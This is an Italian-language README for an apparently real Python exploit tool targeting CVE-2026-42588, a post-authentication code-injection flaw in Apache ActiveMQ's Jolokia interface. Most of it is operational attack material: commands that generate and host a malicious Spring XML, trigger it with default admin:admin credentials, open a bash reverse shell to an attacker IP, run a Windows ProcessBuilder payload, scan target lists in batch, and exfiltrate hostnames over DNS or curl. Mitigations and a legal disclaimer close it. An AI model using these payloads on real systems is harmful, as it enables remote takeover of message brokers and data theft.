
Exploit RCE basato su Python per CVE-2026-42588 che mira ad Apache ActiveMQ Jolokia. Include modalità solo verifica, generazione di XML dannoso e supporto per reverse shell, OOB e verifica basata su file.
Gravità: 🔴 Alta (CVSS 4.0: 8.1)
Tipo di vulnerabilità: CWE-94 — Iniezione di codice
Versioni interessate: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ versione < 6.2.6
Prerequisito di sfruttamento: Credenziali di autenticazione per Web Console (predefinitoadmin:admin)
CVE-2026-42588 è una vulnerabilità di Esecuzione di Codice Remoto (RCE) post-autenticazione presente in Apache ActiveMQ.
Un attaccante, in possesso delle credenziali di autenticazione per la Web Console, può sfruttare l'interfaccia bridge Jolokia JMX-HTTP (/api/jolokia/) per invocare il metodo BrokerService.addNetworkConnector(String), passando un URI masterslave:// appositamente costruito. Utilizzando il protocollo xbean:, carica un file di configurazione Spring XML remoto, eseguendo infine comandi arbitrari di sistema nella JVM del broker ActiveMQ.
/api/jolokia/ (Bridge Jolokia JMX-HTTP)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attaccante/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring istanzia preventivamente tutti i bean singleton → Attiva Runtime.exec() / ProcessBuilder
│
▼
🚨 Esecuzione di Codice Remoto (RCE)
| Fase | Descrizione |
|---|---|
| Superficie esposta di Jolokia | La Web Console di ActiveMQ espone di default /api/jolokia/, consentendo l'esecuzione dell'operazione exec sui MBean org.apache.activemq:* |
| Metodo pericoloso | BrokerService.addNetworkConnector(String) riceve un URI di discovery e lo analizza |
| Catena URI | Il parametro brokerConfig del protocollo masterslave:// è controllabile e, insieme allo schema xbean:, attiva il caricamento del contesto Spring |
| Punto di attivazione RCE | XBeanBrokerFactory utilizza ResourceXmlApplicationContext per caricare XML remoto; Spring istanzia tutti i bean singleton prima della validazione della configurazione |
| Intervallo di versione | Stato |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ Vulnerabile |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ Vulnerabile |
| Apache ActiveMQ ≥ 5.19.7 | ✅ Corretto |
| Apache ActiveMQ ≥ 6.2.6 | ✅ Corretto |
/api/jolokia/ deve essere accessibile all'attaccante (porta predefinita 8161)admin:admin).
├── CVE-2026-42588_EXP.py # Script di sfruttamento della vulnerabilità (core)
├── malicious.xml # Template XML Spring malevolo
├── requirements.txt # Dipendenze Python
└── README.md # Questo file
| File | Utilizzo |
|---|---|
CVE-2026-42588_EXP.py | Script di sfruttamento Python, supporta modalità di rilevamento (--check-only) e generazione XML (--gen-xml) |
malicious.xml | Template di configurazione XML Spring malevolo, include due modalità di sfruttamento: Runtime.exec() e ProcessBuilder |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
Avviare un server HTTP sulla macchina attaccante:
python3 -m http.server 8080
# Utilizzo credenziali predefinite admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://tuo-indirizzo-attaccante:8080/malicious.xml
# Utilizzo credenziali personalizzate
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U mioutente \
-P miapassword \
-x http://tuo-indirizzo-attaccante:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
Opzioni:
-u, --url URL del target ActiveMQ (es. http://192.168.1.100:8161)
-U, --username Nome utente Web Console (predefinito: admin)
-P, --password Password Web Console (predefinito: admin)
-x, --xml-url URL remoto del file XML Spring malevolo
--check-only Solo rilevamento accessibilità interfaccia Jolokia
--gen-xml Genera file XML malevolo e lo invia su stdout
-c, --command Comando da eseguire sul target (predefinito: touch /tmp/activemq_pwned)
--timeout Timeout richiesta HTTP in secondi (predefinito: 30)
--no-verify Disabilita verifica del certificato SSL
1. Generare il file XML malevolo sulla macchina attaccante:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. Ospitare il XML e avviare l'ascolto:
# Terminale 1: Server HTTP
python3 -m http.server 8080
# Terminale 2: Ascolto nc
nc -lvnp 4444
3. Attivare la vulnerabilità:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Generare file XML malevolo per Windows:
Modificare il comando ProcessBuilder in malicious.xml in:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. Ospitare ed eseguire:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attaccante:8080/malicious_win.xml
# Rilevamento batch
for ip in $(cat targets.txt); do
echo "=== Test $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ Catena di attacco CVE-2026-42588 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① Attaccante ⑤ Broker ActiveMQ (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ Script │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ EXP │ Jolokia exec() │ │ │
│ │ │ Autenticazione Basic │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ Server HTTP │ │ ResourceXmlApplication │ │
│ │ attaccante │ │ Context carica XML remoto │ │
│ │ (python http.server) │ │ │ │
│ │ │ │ Spring istanzia Bean ──▶ │ │
│ │ malicious.xml │ │ Runtime.exec() / │ │
│ └──────────────────────┘ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE riuscita 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Poiché l'esecuzione dei comandi avviene durante la fase di analisi dell'XML Spring, è asincrona; la risposta HTTP potrebbe non mostrare direttamente il risultato dell'esecuzione. Si consiglia di verificare tramite i seguenti metodi:
# Macchina attaccante
nc -lvnp 4444
# Utilizzare nslookup o curl nel comando per inviare dati
nslookup $(hostname).tuo-server-dns.com
# Verificare il file segnalatore sul target
ls -la /tmp/activemq_pwned
# Nel XML malevolo utilizzare
curl http://tuo-server:8888/$(hostname)
# E sulla macchina attaccante ascoltare
nc -lvnp 8888
| Linea di versione | Aggiornare a |
|---|---|
| Serie 5.x | 5.19.7 o superiore |
| Serie 6.x | 6.2.6 o superiore |
URL di download: https://activemq.apache.org/download
Annuncio di correzione: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm
Se non è possibile aggiornare immediatamente, si possono adottare le seguenti misure per ridurre il rischio:
In conf/jetty.xml limitare /api/jolokia/ all'accesso solo da locale, oppure tramite firewall/reverse proxy con whitelist IP.
Modificare conf/jolokia-access.xml per vietare l'operazione exec sui MBean org.apache.activemq:*:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
Modificare conf/jetty-realm.properties e cambiare le credenziali predefinite admin: admin, admin con una password forte.
In conf/jetty.xml commentare la configurazione del Context relativo alla Web Console.
R: Sì, sono necessarie credenziali valide per la Web Console di ActiveMQ. Tuttavia, le credenziali predefinite sono admin/admin e in molti ambienti reali la password predefinita non viene modificata, quindi il rischio rimane elevato.
R: È normale. L'esecuzione del comando è asincrona e avviene durante la fase di analisi dell'XML Spring. Si consiglia di utilizzare reverse shell, esfiltrazione DNS o altri metodi per la verifica. Vedi Verifica del successo dello sfruttamento.
R: Sì. È necessario modificare i comandi in malicious.xml da /bin/sh -c a cmd.exe /c e adattare la sintassi dei comandi allo stile Windows.
R: La modalità di rilevamento può solo confermare se l'interfaccia Jolokia è accessibile (condizione necessaria per lo sfruttamento). L'accessibilità dell'interfaccia non garantisce che sia sfruttabile, ma ne indica la possibilità.
R: No. Dopo l'aggiornamento a 5.19.7+ o 6.2.6+, la logica di analisi del parametro brokerConfig è stata corretta e non accetta più lo schema xbean:.
⚠️ Questo strumento è solo per scopi di ricerca sulla sicurezza e test autorizzati!
- L'utilizzo di questo strumento per accedere a sistemi non autorizzati è illegale
- L'utente si assume ogni responsabilità per qualsiasi conseguenza derivante dall'uso di questo strumento
- L'autore non è responsabile per usi non autorizzati, abusi o danni derivanti
- Utilizzare solo su propri sistemi o su sistemi con autorizzazione scritta
- Rispettare le leggi locali e i codici etici professionali
| Fonte | Link |
|---|---|
| Database vulnerabilità (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| Annuncio vulnerabilità di Antiy | https://bbs.antiy.cn/thread-210844-1-1.html |
| Dettagli vulnerabilità DDPOC | https://ddpoc.com/DVB-2026-11290.html |
| Sito ufficiale Apache ActiveMQ | https://activemq.apache.org/ |
| Annuncio di sicurezza Apache | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |
CVE-2026-42588 — Solo per scopi educativi e test autorizzati